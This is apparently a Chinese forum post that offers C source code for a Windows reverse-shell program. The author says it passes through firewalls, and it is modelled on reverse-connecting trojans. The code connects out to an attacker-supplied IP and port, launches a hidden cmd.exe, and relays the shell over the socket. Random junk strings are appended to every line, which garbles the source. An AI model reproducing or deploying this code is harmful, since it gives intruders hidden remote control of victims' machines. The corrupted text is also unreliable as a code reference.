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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <QbD ;(%  
MH@=Qqx#=t  
/* ============================== Er/h:=  
Rebound port in Windows NT V4I5PPz~  
By wind,2006/7 buV {O[  
===============================*/ K8[vJ7(!|  
#include | 4/'~cYV  
#include D5lzrpg_e  
 v?Dc3  
#pragma comment(lib,"wsock32.lib") BfZAK0+*$  
x(oL\I_Z  
void OutputShell(); >h:rYEsh8V  
SOCKET sClient; P^9y0Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u5D@,wSNz  
*IBT!@*Q&  
void main(int argc,char **argv) )CgKZ"  
{ Y%<y`]I  
WSADATA stWsaData; iF]G$@rbU  
int nRet; ?VCdT`6=  
SOCKADDR_IN stSaiClient,stSaiServer; 9C&Xs nk  
(gW#T\Eln  
if(argc != 3) 7{jB!Xj  
{ l~ 3H"  
printf("Useage:\n\rRebound DestIP DestPort\n"); [+ ,%T;d;  
return; 2J?ON|2M  
} }%e"A4v  
K1y]  
WSAStartup(MAKEWORD(2,2),&stWsaData); ]b5E_/P  
a,eR'L<"*-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p;8I@~dh  
o[=h=&@5p  
stSaiClient.sin_family = AF_INET; KX8$j$yW  
stSaiClient.sin_port = htons(0); scr`] tD  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); m~7[fgN2  
#63)I9>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `D *U@iJ  
{ =AaTn::e/  
printf("Bind Socket Failed!\n"); Nf@-i`  
return; KWuc*!  
} \iN3/J4  
#B_Em$  
stSaiServer.sin_family = AF_INET; Mw{0A\6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vP k\b 3E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :A2{  
D,$!.5OA  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d}d1]@Y\  
{ K;uOtbdOK  
printf("Connect Error!"); %w9/ gD  
return; pTzwyj!SD  
} vI84= n  
OutputShell(); I`e$U  
} 8]G  
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void OutputShell() FJI%+$]  
{ b\{34z,  
char szBuff[1024]; *U<l$gajq  
SECURITY_ATTRIBUTES stSecurityAttributes; LgG7|\(-  
OSVERSIONINFO stOsversionInfo; %R|_o<(#MJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  5yA1<&z  
STARTUPINFO stStartupInfo;  F,hiKq*  
char *szShell; Wi;wu*  
PROCESS_INFORMATION stProcessInformation; ~ShoU m[  
unsigned long lBytesRead; ;FQ<4PR$  
zcqv0lM '  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \r.{Ru  
jH5VrN*Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xl/ SDm_p  
stSecurityAttributes.lpSecurityDescriptor = 0; \OzPDN  
stSecurityAttributes.bInheritHandle = TRUE; 2`Dqu"TWh  
# dA-dN  
^X?D4a|;#g  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d:<</ah  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *A^`[_y  
ce&Q}_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r 9~Wh $  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "e-RV  
stStartupInfo.wShowWindow = SW_HIDE; },]G +L;R  
stStartupInfo.hStdInput = hReadPipe; `F(ghC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _ArN[]Z  
Tr6J+hS  
GetVersionEx(&stOsversionInfo); 1WP(=7$.  
`)aIFAW  
switch(stOsversionInfo.dwPlatformId) Xn%ty@8  
{ $n><p>`  
case 1: @$*LU:[  
szShell = "command.com"; [^D~T  
break;  %"jp':  
default: m)1+D"z  
szShell = "cmd.exe"; swTur  
break; Y[R;UJE`5  
} 2{Johqf  
G~+BO'U9'G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); SDbR(oV  
fxOa(mt  
send(sClient,szMsg,77,0); p"dK,A5#)  
while(1) @ L=dcO{r  
{ uD0<|At/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Chs#}=gzi  
if(lBytesRead) f\vy5''  
{ N?3BzI%?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >D5WAQ>b  
send(sClient,szBuff,lBytesRead,0); oro^'#ki  
} JFOXrRR=d  
else s#* DY  
{ Vb++K0CK  
lBytesRead=recv(sClient,szBuff,1024,0); P$H9  
if(lBytesRead<=0) break; (/[wM>q:r  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %2ZWSQD  
} ?.~hex#M@  
}  KB5<)[bs  
7i##g,  
return; Tya[6b!8  
}
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